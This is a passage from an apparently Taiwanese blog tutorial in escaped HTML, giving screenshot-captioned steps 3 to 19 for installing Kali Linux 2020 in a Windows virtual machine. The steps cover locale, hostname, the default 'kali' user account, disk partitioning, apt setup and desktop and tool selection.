&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;３、位置選擇：臺灣（圖3）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVdPjjBNmfko3MDTLKtSn2eVFbIlQU_WKb3jSxFL40j8LMYIWI1BX3gZ4tfFenlWdWZN6kvu2w1yZJxoyRMkT-lKYnT-7N8I9pQH3jmz03JUlm6YXiP-7_MWQsv9hXZAesVs5mZKhXFo3Z/s1600/kali-2020_03.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;603&quot; data-original-width=&quot;802&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVdPjjBNmfko3MDTLKtSn2eVFbIlQU_WKb3jSxFL40j8LMYIWI1BX3gZ4tfFenlWdWZN6kvu2w1yZJxoyRMkT-lKYnT-7N8I9pQH3jmz03JUlm6YXiP-7_MWQsv9hXZAesVs5mZKhXFo3Z/s400/kali-2020_03.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖3：位置請選台灣&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;４、設定鍵盤：英文（圖4）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinzdMVOBbo80fVYrYqUCbu82QnZQFeYa2uk_2PVHdCYnN5-62Vq7BhsWQYjteKeGa2fqeGM5YaNLSQ6uyhMbVufMIdLCdx1t6VyV2iMiR2HHxO-HL6wN1A-dlh8oRb88x-a6U9sJa9ni8n/s1600/kali-2020_04.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;606&quot; data-original-width=&quot;802&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinzdMVOBbo80fVYrYqUCbu82QnZQFeYa2uk_2PVHdCYnN5-62Vq7BhsWQYjteKeGa2fqeGM5YaNLSQ6uyhMbVufMIdLCdx1t6VyV2iMiR2HHxO-HL6wN1A-dlh8oRb88x-a6U9sJa9ni8n/s400/kali-2020_04.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖4：鍵盤請選英文&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;５、接下來就會載入基本元件（圖5），就等它跑完！&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTEkiJyQP58-FHvbCpfno_MDZ0J-nq_zMcfyMvRaO954fAof2vijg9G6zG9sD6vxJ2V2wjk0e-N5ONFqjVEcaxDSsC5XZbEFyVzuLsyoLtbgcLFPfAjSPGkGbcdeXhbxwxKp4R8FGiGBRW/s1600/kali-2020_05.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;606&quot; data-original-width=&quot;808&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTEkiJyQP58-FHvbCpfno_MDZ0J-nq_zMcfyMvRaO954fAof2vijg9G6zG9sD6vxJ2V2wjk0e-N5ONFqjVEcaxDSsC5XZbEFyVzuLsyoLtbgcLFPfAjSPGkGbcdeXhbxwxKp4R8FGiGBRW/s400/kali-2020_05.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖5：載入所需元件&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;６、在網路設定的主機名稱：預設為kali，可依自己需要修改，此處改成kali2020A（圖6）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC4x90F7dxUoX6Wg3xHaRzHifxCy2q9IqbbuvX-bDxMxHbjlCIzLW6dSzzLBYQMdysp-aTps73hX8z_CR6weCyWwNP-8gRA4GlZdLoS4dokUwcbpvhI-VLKdAEvu4PGjeR2ld9fWiSWZsh/s1600/kali-2020_06.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;609&quot; data-original-width=&quot;807&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC4x90F7dxUoX6Wg3xHaRzHifxCy2q9IqbbuvX-bDxMxHbjlCIzLW6dSzzLBYQMdysp-aTps73hX8z_CR6weCyWwNP-8gRA4GlZdLoS4dokUwcbpvhI-VLKdAEvu4PGjeR2ld9fWiSWZsh/s400/kali-2020_06.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖6：設定電腦名稱&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;７、網域名稱：因為是Windows裡的虛擬機，故設為WORKGROUP，以便和宿主的網域一致。（圖7）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVe8zMRJEHKOxWEsWNqHqhnKt83sxMY_Fi6CQioiNssm_uzYPErKJSHHuK-wn7lOHR7g04XLUBhUcbFwjbG42Y3ZFy8Z7DrtpMS-djBU5ppJUBmYCBKS3_NO2-5bVpPydWuOPJmxNhqWMD/s1600/kali-2020_07.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;609&quot; data-original-width=&quot;805&quot; height=&quot;302&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVe8zMRJEHKOxWEsWNqHqhnKt83sxMY_Fi6CQioiNssm_uzYPErKJSHHuK-wn7lOHR7g04XLUBhUcbFwjbG42Y3ZFy8Z7DrtpMS-djBU5ppJUBmYCBKS3_NO2-5bVpPydWuOPJmxNhqWMD/s400/kali-2020_07.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖7：設定網域 或群組名稱&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;８、設定使用者名稱：重點，這裡會建立非管理性的帳號，代替root。請替新的使用者輸入完整姓名：請輸入使用者的姓名，例如「Kea Leeve」（圖8）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmvIqFJonESHl5KRn-FOZVhJARbHbjEs933dCDKC32q-_ZsMEUgK09nrOEy4gn5E2kI-IwaDQpAoxtumRkZHS9M7sX2cJeBL-tW5tAZiec4PYHkiCdsfdxaia1El3GnhhqazTpLzfU3xxz/s1600/kali-2020_08.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;606&quot; data-original-width=&quot;806&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmvIqFJonESHl5KRn-FOZVhJARbHbjEs933dCDKC32q-_ZsMEUgK09nrOEy4gn5E2kI-IwaDQpAoxtumRkZHS9M7sX2cJeBL-tW5tAZiec4PYHkiCdsfdxaia1El3GnhhqazTpLzfU3xxz/s400/kali-2020_08.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖8：輸入使用者的姓名&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;９、您的帳號的使用者名稱：就是帳號啦，就依Kali官方說明，取名為 kali（圖9）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZMcknop_Q270Jec5asQupx-VEsVFfmu-4-R5-a3tTYREvwCZIRtvGyYmL7HtXfUI3MFkYKfENJ0BCEPpa_o06mXMr1O56aGp6n2Q9PFPIgXEOO6jm4bxoAOeZi293movVSh3c2nyJG-lc/s1600/kali-2020_09.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;612&quot; data-original-width=&quot;807&quot; height=&quot;302&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZMcknop_Q270Jec5asQupx-VEsVFfmu-4-R5-a3tTYREvwCZIRtvGyYmL7HtXfUI3MFkYKfENJ0BCEPpa_o06mXMr1O56aGp6n2Q9PFPIgXEOO6jm4bxoAOeZi293movVSh3c2nyJG-lc/s400/kali-2020_09.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖9：輸入使用者的帳號&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;10、設定密碼：kali　（圖10&lt;/b&gt;）&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRLVINN1wWey_Jx9kEiICcZRp7SzgV51VZY2YhsNgOAj1tYWJnXbE-i1cTbw_kRBGgrefsoNSwJcrqJFvnrbR600fjxCIPjQ59xHvvvK-yZPAlNtzdpqLQVwaJy48MeGMLxAStBY5XsqsR/s1600/kali-2020_10.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;606&quot; data-original-width=&quot;806&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRLVINN1wWey_Jx9kEiICcZRp7SzgV51VZY2YhsNgOAj1tYWJnXbE-i1cTbw_kRBGgrefsoNSwJcrqJFvnrbR600fjxCIPjQ59xHvvvK-yZPAlNtzdpqLQVwaJy48MeGMLxAStBY5XsqsR/s400/kali-2020_10.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖10：設定使用者的密碼&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;11、接著偵測時區及磁碟，然後進入磁碟分割，直接按「繼續」到下一畫面，然後選擇「使用整顆磁碟」（圖11）&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfugmjtp3S2nVWUJG01pLJqkDDFEFcRULcRyh9NvebeMQaumHTcNA7a1joS5kjU8dh0Zy2bbsQLGchxUZImjVTzvhJB7YLftP3AajPsP4VVjBgjmbuV3y4s4uyEUNCZBtasQuVYJhsdS15/s1600/kali-2020_11.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;609&quot; data-original-width=&quot;806&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfugmjtp3S2nVWUJG01pLJqkDDFEFcRULcRyh9NvebeMQaumHTcNA7a1joS5kjU8dh0Zy2bbsQLGchxUZImjVTzvhJB7YLftP3AajPsP4VVjBgjmbuV3y4s4uyEUNCZBtasQuVYJhsdS15/s400/kali-2020_11.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖11：選擇磁碟分割方式&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;12、下一畫面選擇磁碟機，因為只有一台，所以直接按「繼續」到下一畫面，在此選擇「把所有的檔案全部放到同一個分割區中」（圖12）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO5JNUu9I-ikX4qTW1u9UKPM-EufQ9O1GBwO-vh09mMh2vyP4yvNdNtoPlNrt_NvPPsJUrjxlR_3cMDCbNH0yAAFrt0PE1OwW1vRavwHzkEMn7GL6z7jUJFBlfCOTlFSpYbvN0oU115oJ_/s1600/kali-2020_12.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;606&quot; data-original-width=&quot;806&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO5JNUu9I-ikX4qTW1u9UKPM-EufQ9O1GBwO-vh09mMh2vyP4yvNdNtoPlNrt_NvPPsJUrjxlR_3cMDCbNH0yAAFrt0PE1OwW1vRavwHzkEMn7GL6z7jUJFBlfCOTlFSpYbvN0oU115oJ_/s400/kali-2020_12.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖12：將所有檔案放到同一個分割區&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;13、下一畫面是確認磁碟分割選項，如果沒有問題，就按「繼續」吧！（圖13）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0sL8fRbHKe7WBm65kxrbl8HUFcHNqZJ8FbfqdW0eUahXlwkFLSeKXNuiwPjTWJ_v9OjIXY95uC1pICTEKZpx5vxsb42CBYOhoxIGTxw7H8pDSrZvON73XxHWwZ6lz8TCwmkmARtZPQ1lf/s1600/kali-2020_13.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;807&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0sL8fRbHKe7WBm65kxrbl8HUFcHNqZJ8FbfqdW0eUahXlwkFLSeKXNuiwPjTWJ_v9OjIXY95uC1pICTEKZpx5vxsb42CBYOhoxIGTxw7H8pDSrZvON73XxHWwZ6lz8TCwmkmARtZPQ1lf/s400/kali-2020_13.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖13：確認磁碟分割設定無誤&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;14、磁碟分割步驟的最後一步，就是將分割選項寫入磁碟，這裡記得要選&lt;span style=&quot;background-color: yellow;&quot;&gt;「是」&lt;/span&gt;（圖14）（預設是停在「否」）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6jx730cpkt24WwXcIfqa8nWuoFFhAx2ekOm6Da57NBKpbGb-T7irxpJsMJqre7MeVbiApudY5yHG9BrZg0hqDtvhbJeymAWuHyDOXjsyVGCAJWI54Eydx6Txi9d2sN2PQlj2TmaEkgDr2/s1600/kali-2020_14.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;605&quot; data-original-width=&quot;807&quot; height=&quot;298&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6jx730cpkt24WwXcIfqa8nWuoFFhAx2ekOm6Da57NBKpbGb-T7irxpJsMJqre7MeVbiApudY5yHG9BrZg0hqDtvhbJeymAWuHyDOXjsyVGCAJWI54Eydx6Txi9d2sN2PQlj2TmaEkgDr2/s400/kali-2020_14.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖14：將磁碟分割資訊寫入磁碟&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;15、完成磁碟分割後，就會進行基本系統安裝（圖15），這裡就只能等待，完成後，進入其他設定項目。&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNgZ6ejXHpYTTpu2z3X-IONZAuAsuT9fMLKHUu99vgkundsngFl5Q4PfWetv61V-zuQ9Jy-YoxIKKs971chniKEC8OPx14sdyU6LcMNJwbjGDQwzv42r5J7jaGg0IBGO7kzpQFCCLrQHaj/s1600/kali-2020_15.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;609&quot; data-original-width=&quot;809&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNgZ6ejXHpYTTpu2z3X-IONZAuAsuT9fMLKHUu99vgkundsngFl5Q4PfWetv61V-zuQ9Jy-YoxIKKs971chniKEC8OPx14sdyU6LcMNJwbjGDQwzv42r5J7jaGg0IBGO7kzpQFCCLrQHaj/s400/kali-2020_15.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖15：基本系統安裝中&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;16、設定套件管理程式的第1個畫面是HTTP Proxy設定，如果不是透過Proxy上網，可以留空白，直接「繼續」到下個畫面（圖16）。&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkaJmzd-ZFnGO-UvgP_cgqWx3sQ-jTuV92rirdmF1_VXFIYsOs3QgNFQ4Y5Uj7Vqj-YV5iSxmKoqL7HwWZ0ZETZGk_JHqJksk0jOIqi7sYWIcUQvXIFaXbAKLaooOZ1KRo4LpRmtr5nYE/s1600/kali-2020_16.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;606&quot; data-original-width=&quot;804&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkaJmzd-ZFnGO-UvgP_cgqWx3sQ-jTuV92rirdmF1_VXFIYsOs3QgNFQ4Y5Uj7Vqj-YV5iSxmKoqL7HwWZ0ZETZGk_JHqJksk0jOIqi7sYWIcUQvXIFaXbAKLaooOZ1KRo4LpRmtr5nYE/s400/kali-2020_16.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖16：設定上網的Proxy伺服器&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;17、接著是設定apt（套件安裝管理員）及安裝基本軟體，請耐心等候！（圖17）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjveOT7-mFsX6spOzTBLcPa78rdqQdKqH-iZVpUTQi5_ADQ7_aYgqurdA6nMbpqR_UZ9Uql6gg6G5ShiBQ6_2CvlqyB_L4AkeolcbxIndqryCRmbv_7RdvuzRMinpgDHqd-NWWPV7dZQS8-/s1600/kali-2020_17.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;809&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjveOT7-mFsX6spOzTBLcPa78rdqQdKqH-iZVpUTQi5_ADQ7_aYgqurdA6nMbpqR_UZ9Uql6gg6G5ShiBQ6_2CvlqyB_L4AkeolcbxIndqryCRmbv_7RdvuzRMinpgDHqd-NWWPV7dZQS8-/s400/kali-2020_17.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖17：安裝基本軟體&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;18、再來就是新版Kali的重點，要裝什麼軟體，由使用者自行決定（圖18）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjamOy8xc6AnSAvblzY6Bru4eOSVy9uNf2FebRt5H3ZXZyw3gWZg_4rRFP-mnVYB5dVqa4pDUTEtJJyagZnI03Rpx20Q9CGm8KX-oLYgJcvJTnUN2xAOqYX4cAJLpgcq3iopVPE2pRy8Pf9/s1600/kali-2020_18.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;806&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjamOy8xc6AnSAvblzY6Bru4eOSVy9uNf2FebRt5H3ZXZyw3gWZg_4rRFP-mnVYB5dVqa4pDUTEtJJyagZnI03Rpx20Q9CGm8KX-oLYgJcvJTnUN2xAOqYX4cAJLpgcq3iopVPE2pRy8Pf9/s400/kali-2020_18.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖18：使用者自行選擇欲安裝的軟體&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;19、預設桌面環境是Xfce，若喜歡GNOME，可在此增選之。&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
至於其他工具，如果不知怎麼選擇，就全勾吧！或者以預設（default安裝Live模式使用的工具），由於我是貪心的使用者，故將 &lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;Install tools by purpose&lt;/b&gt;&lt;/span&gt;（依使用目的安裝所需工具）底下的選項全打勾（圖19），免得日後還要逐一安裝，按下「繼續」後就開始安裝套件了，這要一段不短的時間。&lt;br /&gt;
期間出現&lt;b&gt;圖20&lt;/b&gt;的桌面管理設定，我有選用GNOME，所以要設定預設的管理員，若沒擇安裝GNOME，應該不會有這個畫面吧？&lt;/div&gt;
